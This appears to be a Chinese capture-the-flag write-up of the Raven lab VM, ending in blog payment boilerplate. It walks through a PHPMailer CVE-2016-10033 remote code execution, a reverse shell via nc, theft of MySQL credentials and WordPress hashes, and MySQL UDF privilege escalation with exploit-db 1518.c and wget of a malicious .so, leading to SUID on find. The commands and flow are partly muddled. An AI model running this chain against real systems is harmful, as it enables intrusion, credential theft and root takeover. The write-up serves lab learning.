raven靶场练习下

┌── (root kali) -[/home/kali/Desktop/bj/2]
└─# nc -vlp 4444 // kali 开启监听
然后去访问 http://192.168.214.133/contact.php ;就可以生成后门 maps.php
然后我们在去访问 http://192.168.214.133/maps.php 这个后门,就反弹连接到 kali
但是我发现通过反弹无法成功,所以用了另外一种方法
因为前面已经发现是PHPMailer

1. phpmailerCVE-2016-10033远程代码执行漏洞利用

1. 先配置信息,具体信息如下
set RHOSTS 192.168.214.133
set TARGETURI /contact.php
set WEB_ROOT /var/www/html
2. run,运行
运行后会在/var/www/html/路径写入一个xxx.php文件,文件内容的作用是反弹shell,文件名是随机的
3. 把文件名复制到浏览器进行访问
http://raven.local/xxx.php
4. 等待几分钟就能得到shell,www权限。

配置完成之后,就可以运行了

竟然成功了,修改vi /etc/hosts

将靶机ip输入,再加上http://raven.local

192.168.214.133 raven.local

4. 获得反弹 shell ,因为这里是一个伪 shell ,进入 pty
python -c 'import pty;pty.spawn("/bin/bash")'
cd /tmp // 进入 tmp
因为/tmp权限比较强大,可以直接提权到root模式,知识点是关于udf提权
进入/var/www/html路径下,发现flag2.txt
查看flag3.png是一堆乱码
通过dirb扫描端口
发现存在mysql,发现用户名和密码,发现里面搭建了一个mysql

define('DB_USER', 'root');

/** MySQL database password */

define('DB_PASSWORD', 'R@v3nSecurity')

用户名为root密码为R@v3nSecurity

通过mysql -u root R@v3nSecurity登陆

发现wordpress这个数据库,比较可疑,

use wordpress // 这里为什么要去查看 wordpress ,因为目录和密码在前面都用的这个,我们首先看一
下;正常流程是都要看一下进行信息收集

发现用户表格,查看表数据,发现两个用户名

michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

steven     | $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.

www-data@Raven:/var/html/wordpress$ ps -aux | grep mysql // 这里我们看到了 mysql 我们就要想到
udf 提权,查看它运行的权限 看到是 root 运行,满足 udf 提权
https://www.freebuf.com/articles/database/291175.html udf 提权参考
www-data@Raven:/var/www/html/wordpress$ dpkg -l | grep mysql // 查看 mysql 安装的包的版本是
5.5.6
接下来那么我们直接在本地登录
www-data@Raven:/var/html/wordpress$ mysql -uroot -pR@v3nSecurit
mysql> select version(); // 我们先去查看版本信息,可不可以提权 再次查看到是 5.5.60 应该就是 5.5.60
版本
// 到此我们并没有发现相关信息,继续查看能否满足进行 udf 提权
mysql> show global variables like 'secure%';
8. 进行分析 udf 提权
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | | // 这里是空值
+------------------+-------+
2 rows in set (0.00 sec)
(1) secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入 | 导出,此时无法提权
(2) secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入 | 导出只能发生在 /tmp/ 目录下,此时也
无法提权
(3) secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入 | 导出做限制,此时可提权 !
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin
文件夹下文件夹下才能创建自定义函数。 查看到是 5.5.60
mysql> show variables like '%plugin%'; // 查看插件目录查看能否远程登陆,我们这里查看远程登录可
以的话就用 MSF 去登录;要了解谁可以进行访问
mysql> use mysql;
mysql> select user,host from user;
+------------------+-----------+
| user | host |
+------------------+-----------+
| root | 127.0.0.1 |
| root | ::1 |
| debian-sys-maint | localhost |
| root | localhost | // 在这里我们发现只能本地访问,那么就不可以用 MSF 远程攻击
| root | raven |
9. 我们进行 udf 提权
www-data@Raven:/var/html/wordpress$ cd /usr/lib/mysql/plugin //.so 文件我们要执行一个恶意 .so 提权
root 我们已经知道了, mysql 版本 那么我们就搜索: mysql 5.x UDF exploit 或者 searchsploit udf http
s://www.exploit-db.com/exploits/1518
┌── (root kali) -[/home/kali/Desktop]
└─# searchsploit 1518.c
/usr/share/exploitdb/exploits/linux/local/1518.
┌── (root kali)- [/home/kali/Desktop]
└─# cp /usr/share/exploitdb/exploits/linux/local/1518.c .
┌── (root kali) -[/home/kali/Desktop]
└─# gcc -g -c 1518.c //GCC 编译 .o 文件
┌── (root kali) -[/home/kali/Desktop]
└─# gcc -g -shared -o maps.so 1518.o -lc
1 -g 生成调试信息
2 -c 编译(二进制)
3 -shared :创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
4 -o :执行命令后的文件名
5 -lc -l c 库名
┌── (root kali) -[/home/kali/Desktop]
└─# ls -la // 这里就有了一个 maps.so 文件
然后在 kali 本目录下开启 http 服务: python -m SimpleHTTPServer 8080
或者用 python3 -m http.server 80
┌── (root kali) -[/home/kali/Desktop]
└─# python3 -m http.server 80
www-data@Raven:/usr/lib/mysql/plugin$ cd /tmp
www-data@Raven:/tmp$ wget http://192.168.214.133/maps.so
www-data@Raven:/tmp$ ls
www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecurity
mysql> create table maps(line blob); // 进入数据库创建数据表 maps
mysql> show tables; // 查看 maps 表是否存在
mysql> insert into maps values(load_file( '/tmp/maps.so' )); // 插入数据文件 , 这里为什么是 tmp 因为刚才
下载过来 maps.so 文件在 /tmp 下面
mysql> desc maps // 查看相应的表中内容
-> ;
maps 表成功插入二进制数据,然后利用 dumpfile 函数把文件导出, outfile 多行导出, dumpfile 一行导
outfile 会有特殊的转换,而 dumpfile 是原数据导出!
mysql> select * from maps into dumpfile '/usr/lib/mysql/plugin/maps.so';
// 创建自定义函数 do_system ,类型是 integer ,别名( soname )文件名字,然后查询函数是否创建成
功:
mysql> create function do_system returns integer soname 'maps.so';
// 查看以下创建的函数:
mysql> select * from mysql.func; // 查看是否有 maps.so,type 类型是否是 function
// 调用 do_system 函数来给 find 命令所有者的 suid 权限,使其可以执行 root 命令: ( 或者利用
sys_exec sys_eval 这里没有这两个函数 )
mysql> select do_system('chmod u+s /usr/bin/find'); // 这里我们给利用 SUID 配置错误提权
https://zhuanlan.zhihu.com/p/408153639 suid 提权)
新建一个文件进行find提权,发现find提权之后euid=0(root)
权限增大,变为root权限,发现flag4.txt

flag4{df2bc5e951d91581467bb9a2a8ff4425}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值